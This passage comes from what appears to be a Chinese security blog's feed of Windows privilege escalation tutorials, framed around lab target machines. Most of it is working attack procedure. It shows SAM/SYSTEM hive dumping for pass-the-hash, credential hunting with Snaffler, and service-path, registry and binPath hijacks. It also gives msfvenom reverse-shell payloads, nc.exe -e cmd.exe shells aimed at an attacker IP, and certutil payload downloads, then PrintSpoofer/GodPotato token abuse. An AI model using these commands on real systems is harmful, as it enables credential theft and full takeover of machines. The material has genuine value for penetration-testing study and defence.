Windows 最底层的密码哈希库。</p><h3 id="1-绕过死锁导出文件"><a href="#1-绕过死锁导出文件" class="headerlink" title="1. 绕过死锁导出文件"></a>1. 绕过死锁导出文件</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">reg save HKLM\sam C:\Windows\Temp\sam.save</span><br><span class="line">reg save HKLM\system C:\Windows\Temp\system.save</span><br></pre></td></tr></table></figure><h3 id="2-离线提取-Hash"><a href="#2-离线提取-Hash" class="headerlink" title="2. 离线提取 Hash"></a>2. 离线提取 Hash</h3><p>将这两个文件下载到 Ubuntu 后,使用 <code>secretsdump.py</code> 榨干它们:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-secretsdump -sam sam.save -system system.save LOCAL</span><br></pre></td></tr></table></figure><p>拿到 NTLM Hash 后,即可用于后续的内网横向传递 (PtH)。</p><h2 id="六、-自动化扫描敏感信息:WinPEAS-amp-Snaffler"><a href="#六、-自动化扫描敏感信息:WinPEAS-amp-Snaffler" class="headerlink" title="六、 自动化扫描敏感信息:WinPEAS & Snaffler"></a>六、 自动化扫描敏感信息:WinPEAS & Snaffler</h2><p>实战中如果手动翻文件太慢,直接丢脚本</p><p><strong>WinPEAS</strong>:运行后重点看 <code>Credentials</code> 和 <code>Files Information</code> 标红的部分。</p><p><strong>Snaffler</strong>:这是一个专门用来在 Windows 机器和内网共享文件夹里疯狂寻找密码、凭证、私钥的红队工具(C# 编写)<br><strong>Snaffler 实战获取与执行流程:</strong></p><ol><li><p><strong>下载 (在你的 Ubuntu 中)</strong>:去 GitHub Releases 页面下载编译好的 exe。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/SnaffCon/Snaffler/releases/download/1.0.184/Snaffler.exe</span><br></pre></td></tr></table></figure></li><li><p><strong>传到靶机</strong>:通过 <code>python3 -m http.server</code> 配合靶机的 <code>wget</code> 或 <code>certutil</code> 下载到靶机的 <code>C:\Windows\Temp\</code>。</p></li><li><p><strong>执行扫描</strong>:</p><ul><li><p>如果是单机搜刮目录:<code>C:\Windows\Temp\Snaffler.exe -i C:\ -s -o C:\Windows\Temp\results.txt</code> (<code>-i</code> 指定目录,<code>-s</code> 打印到屏幕,<code>-o</code> 导出文件)。</p></li><li><p>如果是域内共享搜刮:<code>Snaffler.exe -d 域名.com -s -v data</code>。</p></li></ul></li></ol>]]></content>
<summary type="html"><h1 id="核心思想:管理员也是人,是人就会犯错"><a href="#核心思想:管理员也是人,是人就会犯错" class="headerlink" title="核心思想:管理员也是人,是人就会犯错"></a>核心思想:管理员也是人,是人就会犯错</h1><p>在拿到一个低</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="Windows提权" scheme="http://example.com/categories/ISW/Windows%E6%8F%90%E6%9D%83/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="Windows" scheme="http://example.com/tags/Windows/"/>
<category term="敏感信息收集" scheme="http://example.com/tags/%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
</entry>
<entry>
<title>Windows提权3:服务配置与注册表漏洞</title>
<link href="http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%833_%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%B8%8E%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%BC%8F%E6%B4%9E/"/>
<id>http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%833_%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%B8%8E%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%BC%8F%E6%B4%9E/</id>
<published>2026-03-21T01:00:00.000Z</published>
<updated>2026-03-20T15:15:40.111Z</updated>
<content type="html"><![CDATA[<h1 id="本篇提权的核心思想:"><a href="#本篇提权的核心思想:" class="headerlink" title="本篇提权的核心思想:"></a>本篇提权的核心思想:</h1><p>Windows 系统后台运行着大量“服务(Services)”。大多数第三方软件(比如杀毒软件、MySQL、各类企业软件)在安装时,都会注册一个服务,并且默认以 <strong><code>NT AUTHORITY\SYSTEM</code> (最高权限)</strong> 运行。</p><p><strong>我们的提权逻辑只有一个:</strong> 想办法,把这个高权限服务原本要执行的 <code>A.exe</code>,偷换成我们自己的 <code>木马.exe</code>。等服务一启动,我们的木马就会以 SYSTEM 权限运行</p><p>本篇讲述了<strong>5个提权手法</strong>:</p><p>一、 未引用的<strong>服务路径</strong> (Unquoted Service Path) (服务底层exe有空格)</p><p>二、 不安全的服务可执行文件权限 (Weak Executable Permissions) (服务底层exe可写)</p><p>三、 不安全的服务注册表配置 (Weak Service Registry Permissions) (注册表键可写 -> 可以修改服务对应的exe路径)</p><p>四、 修改服务配置 <code>binPath</code> (等号后必带空格) (可修改服务配置,变成我们自定义的服务)</p><p>五、 永远以<strong>高权限</strong>安装 (AlwaysInstallElevated) </p><p>这5个手法都有一个默认前提:就是要操作的服务一定是高权限服务</p><p>查看服务权限:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sc qc <span class="string">"服务名"</span></span><br><span class="line"><span class="comment"># 看最后一行的 SERVICE_START_NAME 是不是 LocalSystem</span></span><br></pre></td></tr></table></figure><h1 id="实战手法:"><a href="#实战手法:" class="headerlink" title="实战手法:"></a>实战手法:</h1><h2 id="一、未引用的服务路径"><a href="#一、未引用的服务路径" class="headerlink" title="一、未引用的服务路径"></a>一、未引用的服务路径</h2><p><strong>⭐ 频率:极高 | 难度:低 | 经典必考</strong></p><h3 id="原理解析"><a href="#原理解析" class="headerlink" title="原理解析"></a>原理解析</h3><p>当一个服务的可执行文件路径<strong>包含空格</strong>,且<strong>没有被双引号包裹</strong>时,Windows API (<code>CreateProcess</code>) 会产生歧义。比如路径是:<code>C:\Program Files\My App\service.exe</code> Windows 在启动服务时,会按照以下顺序“猜”你想运行哪个程序:</p><ol><li><p><code>C:\Program.exe</code> (把 Files 当作参数)</p></li><li><p><code>C:\Program Files\My.exe</code> (把 App 当作参数)</p></li><li><p><code>C:\Program Files\My App\service.exe</code> (终于找对了)</p></li></ol><p><strong>利用点</strong>:如果我们在 <code>C:\</code> 下放一个 <code>Program.exe</code>,或者在 <code>C:\Program Files\</code> 下放一个 <code>My.exe</code>,Windows 就会以 SYSTEM 权限优先执行我们的木马</p><h3 id="实战步骤"><a href="#实战步骤" class="headerlink" title="实战步骤"></a>实战步骤</h3><p><strong>Step 1找目标服务:</strong> 在 CMD 中运行以下 WMI 命令,精准过滤出“自动启动”、“不在 Windows 默认目录下”、“没有双引号”的服务:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wmic service get name,displayname,pathname,startmode | findstr /i <span class="string">"auto"</span> | findstr /i /v <span class="string">"c:\windows\" | findstr /i /v "</span><span class="string">""</span></span><br></pre></td></tr></table></figure><hr><p><strong>Step 2: 验证目录/文件是否可写</strong> 假设我们找到了目标路径:<code>C:\Program Files\Enterprise Software\app.exe</code>。我们要检查能否在 <code>C:\Program Files\</code> 下写入 <code>Enterprise.exe</code>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">icacls <span class="string">"C:\Program Files"</span></span><br></pre></td></tr></table></figure><p><strong>如何看懂 <code>icacls</code> 结果?</strong> 以你刚才在自己电脑上查到的 <code>C:\Program Files</code> 权限为例:</p><ul><li><p>你看到了 <code>BUILTIN\Users:(RX)</code></p></li><li><p><code>(RX)</code> 的意思是普通用户只有 <strong>读取 (Read)</strong> 和 <strong>执行 (eXecute)</strong> 权限。</p></li><li><p><strong>什么时候才能提权?</strong> 只有当你用 <code>icacls</code> 看到 <code>BUILTIN\Users:(W)</code> (写入) 或 <code>(M)</code> (修改) 或 <code>(F)</code> (完全控制) 时,漏洞才能真正被利用</p></li></ul><hr><p><strong>Step 3: 制作并放置木马 (实战具体操作)</strong> 这里说的“木马”,其实就是一个能主动连接你 Ubuntu 的反弹 Shell 程序。</p><p>在你的 Ubuntu 攻击机上,使用 <code>msfvenom</code> 一键生成这个 <code>Enterprise.exe</code>:</p><ul><li><p><strong>如果靶机/服务是 64 位 (首选)</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.243.120.200 LPORT=4444 -f exe -o Enterprise.exe</span><br></pre></td></tr></table></figure></li><li><p><strong>如果靶机/服务是 32 位 (或需通用兼容)</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/shell_reverse_tcp LHOST=10.243.120.200 LPORT=4444 -f exe -o Enterprise.exe</span><br></pre></td></tr></table></figure></li></ul><p><strong>payload解析:</strong></p><ul><li><p><strong><code>-p</code> (Payload)</strong>: 指定具体载荷。注意 <code>windows/x64/...</code> 代表 64 位,而 <code>windows/...</code>(中间没写架构)默认代表 32 位。</p></li><li><p><strong>兼容性提示</strong>: 64 位 Windows 系统可以完美运行 32 位程序,但 32 位系统无法运行 64 位程序。<strong>在提权时,建议木马位数与被替换的服务位数保持一致。</strong></p></li><li><p><strong><code>-f exe</code></strong>: 输出格式为可执行文件。</p></li><li><p><strong><code>-o</code></strong>: 输出文件名。</p></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 尝试重启服务 </span></span><br><span class="line">sc stop <span class="string">"服务名"</span> </span><br><span class="line">sc start <span class="string">"服务名"</span></span><br></pre></td></tr></table></figure><p>如果提示拒绝访问,输入 <code>shutdown /r /t 0</code> 重启靶机,服务开机自启时就会触发,这时候就是以system用户反弹的shell,拿到的就是最高权限的shell</p><h2 id="二、-不安全的服务可执行文件权限"><a href="#二、-不安全的服务可执行文件权限" class="headerlink" title="二、 不安全的服务可执行文件权限"></a>二、 不安全的服务可执行文件权限</h2><p><strong>⭐ 频率:高 | 难度:低</strong></p><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>路径没空格,也有双引号,非常标准。但是,管理员给这个 <code>.exe</code> 文件本身的权限设错了,普通用户有权限直接“修改”或“覆盖”这个文件。</p><h3 id="实战步骤-1"><a href="#实战步骤-1" class="headerlink" title="实战步骤"></a>实战步骤</h3><p><strong>Step 1: 找目标服务</strong> 通常由 WinPEAS 标红发现,或者手工用 <code>accesschk.exe</code>(Sysinternals 工具包,实战常备)查找:</p><ul><li>下载<strong>accesschk.exe</strong></li></ul><ol><li><p>它是微软官方发布的 Sysinternals 工具包成员,杀软不会拦截它,直接用 wget 扒官方直链:</p><ul><li><p>下载 64位版:<code>wget https://live.sysinternals.com/accesschk64.exe -O accesschk.exe</code></p></li><li><p>下载 32位版:<code>wget https://live.sysinternals.com/accesschk.exe</code> </p></li></ul></li><li><p><strong>传到靶机的哪里</strong>:<strong><code>C:\Windows\Temp\</code></strong> 或 <strong><code>C:\Users\Public\</code></strong>。</p><ul><li><p>用 <code>python3 -m http.server 80</code> 在 Ubuntu 开服务。</p></li><li><p>靶机接收:<code>certutil.exe -urlcache -split -f "http://10.243.120.200/accesschk.exe" C:\Windows\Temp\accesschk.exe</code></p></li></ul></li></ol><p>在 <code>C:\Windows\Temp\</code> 下执行命令:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">accesschk.exe -uwcqv <span class="string">"Users"</span> * /accepteula</span><br></pre></td></tr></table></figure><p>这条命令是使用微软官方工具 <strong>AccessChk</strong> 来检查 <strong>“Users” 用户组</strong> 在系统上拥有<strong>写入权限</strong>的 <strong>Windows 服务</strong>(注意:这里只是服务可写(可操作),并不是exe可写)</p><p>同时为了不漏掉自启动的服务,我们需要查找所有自启动的服务</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wmic service get name,displayname,pathname,startmode | findstr /i <span class="string">"auto"</span> | findstr /i /v <span class="string">"c:\windows\" | findstr /i /v "</span><span class="string">""</span></span><br></pre></td></tr></table></figure><p><strong>Step 2: 验证文件是否可写</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">icacls <span class="string">"C:\Program Files\SecureApp\secure_service.exe"</span></span><br></pre></td></tr></table></figure><p><strong>Step 3:提权</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 备份原文件 (免得把靶机搞崩)</span></span><br><span class="line">move <span class="string">"C:\Program Files\SecureApp\secure_service.exe"</span> <span class="string">"secure_service.exe.bak"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 把你用 msfvenom 生成的木马放进去并重命名</span></span><br><span class="line">copy C:\Windows\Temp\Enterprise.exe <span class="string">"C:\Program Files\SecureApp\secure_service.exe"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 触发</span></span><br><span class="line">sc stop SecureService && sc start SecureService</span><br></pre></td></tr></table></figure><h2 id="三、-不安全的服务注册表配置-Weak-Service-Registry-Permissions"><a href="#三、-不安全的服务注册表配置-Weak-Service-Registry-Permissions" class="headerlink" title="三、 不安全的服务注册表配置 (Weak Service Registry Permissions)"></a>三、 不安全的服务注册表配置 (Weak Service Registry Permissions)</h2><p><strong>⭐ 频率:中 | 难度:中</strong></p><h3 id="原理-1"><a href="#原理-1" class="headerlink" title="原理"></a>原理</h3><p>Windows 所有的服务配置都存在注册表这个“大档案库”里。路径是:<code>HKLM\SYSTEM\CurrentControlSet\Services\<服务名></code>。在这个目录下,有一个叫 <code>ImagePath</code> 的值,记录了服务的 <code>.exe</code> 在哪。如果管理员没锁好“档案室”的门(没设好注册表权限),我们就能直接进去把 <code>ImagePath</code> 涂改成我们木马的路径。</p><h3 id="利用条件-必须同时满足"><a href="#利用条件-必须同时满足" class="headerlink" title="利用条件 (必须同时满足)"></a>利用条件 (必须同时满足)</h3><ol><li><p><strong>目标价值</strong>:该服务以 <code>LocalSystem</code> 运行。</p></li><li><p><strong>核心权限</strong>:当前用户对该服务的<strong>注册表键 (Registry Key)</strong> 拥有写权限(通常表现为 <code>Full Control</code> 或 <code>Write</code>)。</p></li><li><p><strong>触发条件</strong>:你有权重启该服务,或者系统可以被重启。</p></li></ol><h3 id="如何查看靶机是否满足条件?"><a href="#如何查看靶机是否满足条件?" class="headerlink" title="如何查看靶机是否满足条件?"></a>如何查看靶机是否满足条件?</h3><p>使用 <code>accesschk</code> 扫描<strong>注册表键</strong>(注意参数是 <code>-k</code>):</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">accesschk.exe /accepteula -uvwqk HKLM\SYSTEM\CurrentControlSet\Services\服务名</span><br></pre></td></tr></table></figure><ul><li><strong>看回显</strong>:如果你看到 <code>RW</code> 后面跟着你的用户名或 <code>Users</code> 组,且内容里有 <code>Set Value</code> 权限,说明可以打。</li></ul><h3 id="实战步骤-2"><a href="#实战步骤-2" class="headerlink" title="实战步骤"></a>实战步骤</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 查询确认权限 (如果是 Full Control 就可以干)</span></span><br><span class="line">C:\Windows\Temp\accesschk.exe /accepteula -uvwqk <span class="string">"HKLM\SYSTEM\CurrentControlSet\Services\目标服务名"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 修改注册表 ImagePath 指向你的反弹 shell</span></span><br><span class="line">reg add <span class="string">"HKLM\SYSTEM\CurrentControlSet\Services\目标服务名"</span> /v ImagePath /t REG_EXPAND_SZ /d <span class="string">"C:\Windows\Temp\nc.exe 10.243.120.200 4444 -e cmd.exe"</span> /f</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 重启服务</span></span><br><span class="line">net start 目标服务名</span><br></pre></td></tr></table></figure><p>注意:如果路径中有空格,要加双引号把路径包起来,不然会报错</p><h2 id="四、-Insecure-Service-Permissions-修改服务配置-binPath"><a href="#四、-Insecure-Service-Permissions-修改服务配置-binPath" class="headerlink" title="四、 Insecure Service Permissions (修改服务配置 binPath)"></a>四、 Insecure Service Permissions (修改服务配置 <code>binPath</code>)</h2><p>⭐ 频率:中 | 难度:高 (容易踩坑)</p><h3 id="原理-2"><a href="#原理-2" class="headerlink" title="原理"></a>原理</h3><p>你既不能替换 exe 文件,也不能改注册表。但是,你对<strong>这个服务本身</strong>(Service Object)拥有 <code>SERVICE_CHANGE_CONFIG</code>(修改配置)的权限。</p><h3 id="实战步骤-3"><a href="#实战步骤-3" class="headerlink" title="实战步骤"></a>实战步骤</h3><p>通过 <code>C:\Windows\Temp\accesschk.exe -uwcqv "Users" * /accepteula</code> 发现你对 <code>daclsvc</code> 服务有 <code>SERVICE_CHANGE_CONFIG</code> 权限。</p><p><strong>警告:<code>sc config</code> 命令格式</strong> 在 Windows 下使用 <code>sc config</code> 修改服务路径时,<code>binPath=</code> <strong>后面必须跟一个空格</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 错误写法 (绝对报错): </span></span><br><span class="line">sc config daclsvc binPath=<span class="string">"C:\Temp\nc.exe 10.0.0.1 4444 -e cmd"</span> </span><br><span class="line"><span class="comment"># 正确写法 (等号后面必须有空格): </span></span><br><span class="line">sc config daclsvc binpath= <span class="string">"C:\Windows\Temp\nc.exe 10.243.120.200 4444 -e cmd.exe"</span></span><br></pre></td></tr></table></figure><p>修改完成后,直接 <code>sc start daclsvc</code>,SYSTEM shell 到手。</p><h2 id="五、-永远以高权限安装-AlwaysInstallElevated"><a href="#五、-永远以高权限安装-AlwaysInstallElevated" class="headerlink" title="五、 永远以高权限安装 (AlwaysInstallElevated)"></a>五、 永远以高权限安装 (AlwaysInstallElevated)</h2><p><strong>⭐ 频率:低 (但遇到就是送分) | 难度:极低</strong></p><h3 id="原理-3"><a href="#原理-3" class="headerlink" title="原理"></a>原理</h3><p>这是组策略里的一个奇葩配置。如果开启,任何普通用户双击 <code>.msi</code> 安装包,Windows 都会以 <strong>SYSTEM</strong> 权限去执行安装过程。</p><h3 id="实战步骤-4"><a href="#实战步骤-4" class="headerlink" title="实战步骤"></a>实战步骤</h3><p><strong>Step 1: 验证配置 (两条命令必须都返回 0x1)</strong> </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated </span><br><span class="line">reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</span><br></pre></td></tr></table></figure><p><strong>Step 2: 制造恶意 MSI 包 (在你的 Ubuntu 攻击机上执行)</strong> </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 生成一个反弹 shell 的 msi 安装包 </span></span><br><span class="line">msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.243.120.200 LPORT=4444 -f msi -o setup.msi</span><br></pre></td></tr></table></figure><p><strong>Step 3: 传到靶机并静默安装</strong> </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msiexec /quiet /qn /i C:\Windows\Temp\setup.msi</span><br></pre></td></tr></table></figure><p>敲下回车的瞬间,你的 nc 监听窗口就会弹回 SYSTEM shell</p>]]></content>
<summary type="html"><h1 id="本篇提权的核心思想:"><a href="#本篇提权的核心思想:" class="headerlink" title="本篇提权的核心思想:"></a>本篇提权的核心思想:</h1><p>Windows 系统后台运行着大量“服务(Services)”。大多数第三方</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="Windows提权" scheme="http://example.com/categories/ISW/Windows%E6%8F%90%E6%9D%83/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="Windows" scheme="http://example.com/tags/Windows/"/>
<category term="服务配置" scheme="http://example.com/tags/%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE/"/>
<category term="注册表" scheme="http://example.com/tags/%E6%B3%A8%E5%86%8C%E8%A1%A8/"/>
</entry>
<entry>
<title>Windows提权2:令牌窃取与土豆家族实战</title>
<link href="http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%832_%E4%BB%A4%E7%89%8C%E7%AA%83%E5%8F%96%E4%B8%8E%E5%9C%9F%E8%B1%86%E5%AE%B6%E6%97%8F%E5%AE%9E%E6%88%98/"/>
<id>http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%832_%E4%BB%A4%E7%89%8C%E7%AA%83%E5%8F%96%E4%B8%8E%E5%9C%9F%E8%B1%86%E5%AE%B6%E6%97%8F%E5%AE%9E%E6%88%98/</id>
<published>2026-03-21T00:00:00.000Z</published>
<updated>2026-03-20T09:17:21.706Z</updated>
<content type="html"><![CDATA[<h1 id="前置基础知识"><a href="#前置基础知识" class="headerlink" title="前置基础知识"></a>前置基础知识</h1><h2 id="什么是“令牌窃取”"><a href="#什么是“令牌窃取”" class="headerlink" title="什么是“令牌窃取”"></a>什么是“令牌窃取”</h2><p>在讲工具之前,我们先搞懂我们要干嘛。</p><h3 id="什么是令牌-Token-?"><a href="#什么是令牌-Token-?" class="headerlink" title="什么是令牌 (Token)?"></a>什么是令牌 (Token)?</h3><p>在 Windows 里,<strong>“令牌”就像是酒店的门禁卡</strong>。</p><ul><li><p>普通用户拿着“普通卡”,只能进自己的房间(普通目录)。</p></li><li><p><code>SYSTEM</code> 拿着“总控卡”,能进酒店的任何房间(操作整个系统)。</p></li></ul><h3 id="什么是-SeImpersonatePrivilege(模拟特权)?"><a href="#什么是-SeImpersonatePrivilege(模拟特权)?" class="headerlink" title="什么是 SeImpersonatePrivilege(模拟特权)?"></a>什么是 SeImpersonatePrivilege(模拟特权)?</h3><p>这个特权翻译过来叫“模拟客户端后身份”。</p><ul><li><p><strong>打个比方</strong>:如果你拥有这个特权,就相当于你是酒店的“前台”。虽然你自己的权限不高</p><p>但<strong>只要有一位 VIP (SYSTEM) 把他的总控卡递给你,你就有权“戴上他的工牌”,以他的身份去开门。</strong></p></li><li><p><strong>为什么 Web 服务会有这个权限?</strong> 因为像 IIS 或 SQL Server 这样的服务,经常需要代替访问网站的用户去读取文件,所以微软默认给了它们这个“借用身份”的特权。</p></li></ul><h3 id="“土豆家族提权”是怎么发挥作用的?"><a href="#“土豆家族提权”是怎么发挥作用的?" class="headerlink" title="“土豆家族提权”是怎么发挥作用的?"></a>“土豆家族提权”是怎么发挥作用的?</h3><p>既然我们是“前台”,万事俱备,只欠一张“VIP”。</p><p><strong>土豆提权的核心原理</strong>:利用 Windows 内部的某种机制(比如打印机服务漏洞、RPC 漏洞),<strong>“骗” SYSTEM 账户主动来找我们认证,并把它的令牌(总控卡)丢给我们。</strong> 我们拿到令牌后,执行 <code>cmd.exe</code>,我们就变成 SYSTEM 了</p><h2 id="下载土豆提权工具:"><a href="#下载土豆提权工具:" class="headerlink" title="下载土豆提权工具:"></a>下载土豆提权工具:</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe</span><br><span class="line">wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe</span><br><span class="line">wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET35.exe</span><br><span class="line">wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe</span><br></pre></td></tr></table></figure><h1 id="实战:"><a href="#实战:" class="headerlink" title="实战:"></a>实战:</h1><p>假设我们现在已经拿到了webshell或者反弹shell</p><h2 id="第一步:确认权限"><a href="#第一步:确认权限" class="headerlink" title="第一步:确认权限"></a>第一步:确认权限</h2><p>确认有没有最关键的SeImpersonatePrivilege(模拟特权)</p><ul><li><p><strong>命令</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">whoami</span> /priv</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:查看当前账户特权。</p></li><li><p><strong>观察点</strong>:如果输出列表中包含 <code>SeImpersonatePrivilege</code>,状态无论是 <code>Enabled</code>(已启用)还是 <code>Disabled</code>(已禁用),<strong>只要它在列表里,就说明提权条件成立</strong></p></li></ul><h2 id="第二步:把攻击exe传到靶机"><a href="#第二步:把攻击exe传到靶机" class="headerlink" title="第二步:把攻击exe传到靶机"></a>第二步:把攻击exe传到靶机</h2><p>在存放土豆 <code>.exe</code> 的目录下执行 <code>python3 -m http.server 80</code></p><p><strong>在靶机的 Shell 中下载武器</strong>:</p><ul><li><p><strong>命令</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> C:\Windows\Temp</span><br><span class="line">certutil.exe -urlcache -<span class="built_in">split</span> -f <span class="string">"http://WSL_IP/PrintSpoofer64.exe"</span> ps.exe</span><br></pre></td></tr></table></figure></li></ul><p><strong>命令解析</strong>:切换到临时目录,并使用 <code>certutil</code> 下载 <code>PrintSpoofer64.exe</code>,保存为短名字 <code>ps.exe</code> 以方便后续敲击。</p><h2 id="第三步:执行命令-成功提权"><a href="#第三步:执行命令-成功提权" class="headerlink" title="第三步:执行命令 (成功提权)"></a>第三步:执行命令 (成功提权)</h2><h3 id="方案-A:使用-PrintSpoofer-提权"><a href="#方案-A:使用-PrintSpoofer-提权" class="headerlink" title="方案 A:使用 PrintSpoofer 提权"></a>方案 A:使用 PrintSpoofer 提权</h3><p><strong>命令</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ps.exe -i -c cmd</span><br></pre></td></tr></table></figure><p><strong>命令解析</strong>:</p><ul><li><p><code>-i</code> (Interactive):互动模式,表示我要直接在这个黑框框里获取一个交互式的 Shell。</p></li><li><p><code>-c cmd</code> (Command):拿到 SYSTEM 权限后,帮我执行 <code>cmd.exe</code> 这个程序。</p></li></ul><p><strong>成功标志</strong>:当你敲下回车,屏幕上通常会弹出一句 <code>[+] Found privilege: SeImpersonatePrivilege</code>,紧接着你的输入提示符会变。此时再敲 <code>whoami</code>,如果显示 <code>nt authority\system</code>,<strong>就说明提权成功了</strong></p><h3 id="方案-B:使用-GodPotato-提权-作为备用"><a href="#方案-B:使用-GodPotato-提权-作为备用" class="headerlink" title="方案 B:使用 GodPotato 提权 (作为备用)"></a>方案 B:使用 GodPotato 提权 (作为备用)</h3><p>如果靶机打了补丁或者没开打印机服务,换神土豆</p><p>用下面这两条命令看.NET版本,最高版本是什么就用什么神土豆</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">reg query <span class="string">"HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP"</span></span><br><span class="line"><span class="built_in">dir</span> /b /ad C:\Windows\Microsoft.NET\Framework</span><br></pre></td></tr></table></figure><ul><li><p><strong>执行命令</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GodPotato-NET4.exe -cmd <span class="string">"cmd.exe"</span></span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:GodPotato 的语法略有不同,<code>-cmd</code> 后面跟上用双引号括起来的你想执行的命令。 _(注:GodPotato 有 .NET 2.0 / 3.5 / 4.0 多个版本,通常实战中用 .NET 4.0 的版本即可通杀现代系统)_</p></li></ul><h1 id="如果没有“交互式”-Shell-怎么办?"><a href="#如果没有“交互式”-Shell-怎么办?" class="headerlink" title="如果没有“交互式” Shell 怎么办?"></a>如果没有“交互式” Shell 怎么办?</h1><p>实战有时候不支持我们反弹shell,如果你在蚁剑的webshell里敲 <code>ps.exe -i -c cmd</code>,它会卡死或者报错。</p><p><strong>解决办法:让土豆以 SYSTEM 权限反弹一个真实的 Shell 给你</strong></p><ol><li><p>Ubuntu 先准备好监听:<code>nc -lvnp 4444</code>。</p></li><li><p>把一个 Windows 版的 <code>nc.exe</code> 和土豆一起传到靶机的 